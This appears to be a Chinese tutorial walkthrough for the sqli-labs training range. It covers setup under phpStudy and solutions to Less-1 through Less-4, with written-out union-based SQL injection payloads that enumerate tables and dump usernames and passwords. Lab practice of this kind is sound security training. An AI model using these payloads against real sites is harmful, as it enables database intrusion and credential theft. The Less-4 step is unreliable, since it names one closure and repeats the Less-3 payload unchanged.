一、sqli-labs靶场的搭建
sqli-labs靶场的下载链接
将sqli-labs靶场解压到PHP study目录文件的www文件中
打开phpstudy,将apache和MySQL启动,并创建网站,网站名和压缩包名字一定要相同!!!
这时候靶场就搭建完成了 !
二、靶场环境搭建
进入靶场,点击第一个,看到成片的successfully,就说明环境搭建没有问题
三、解题
Less-1
1.判断注入点是否存在,我们现在URL中输入?id=1
发现页面内容不同了,所以我们输入的内容是带入到数据库里面查询了。
2.判断是数字型注入还是字符型注入,再输入and1=2
发现页面没有改变,说明是字符型注入
之后我们找一下闭合方式
输入一个单引号('),发现报错了,说明就是 ' 闭合,之后再加一个(--+)注释掉
后用union联合注入,用 order by 查一下数据列数,如果报错就超过列数,缩小范围,直达正常回显(一般用二分判断法)
查看回显位,就是看看表格里面那一列是在页面显示的。可以看到是第二列和第三列里面的数据是显示在页面的。
?id=0' union select 1,2,3 --+
、
获取当前数据库的名字和版本号,用到database(),version()
之后开始爆表,获取security库所有的表名
?id=0'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
发现有一个users表,正常思路来说,肯定要查询users这个表中的信息,开始获取字段名
?id=0' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users')--+
发现关键字段,username和password
union select 1,2,group_concat(username , password) from users--+
union select 1,2,group_concat(username , password) from users--+
成功!
Less-2
和第一关是一样进行判断,当我们输入单引号或者双引号可以看到报错,且报错信息看不到数字,所有我们可以猜测sql语句应该是数字型注入。步骤和第一关一样
Less-3
前几步都一样,验证注入点,判断闭合方式时,发现源码(‘id'),所以我们尝试 ') 闭合
用 --+注释掉,发现页面正常回显
查看数据列数
之后查看数据库名和版本号,查找security库,查询users这个表中的信息。。。
所以直接演示最后一步
?id=0 ') and 1=2 union select 1,
(select group_concat(username) from security.users),
(select group_concat(password) from security.users) --+
Less-4
前几步都一样,验证注入点,判断闭合方式时,发现源码(id),所以我们尝试 '')闭合
用 --+注释掉,发现页面正常回显
查看数据列数
之后查看数据库名和版本号,查找security库,查询users这个表中的信息。。。
所以直接演示最后一步
?id=0 ') and 1=2 union select 1,
(select group_concat(username) from security.users),
(select group_concat(password) from security.users) --+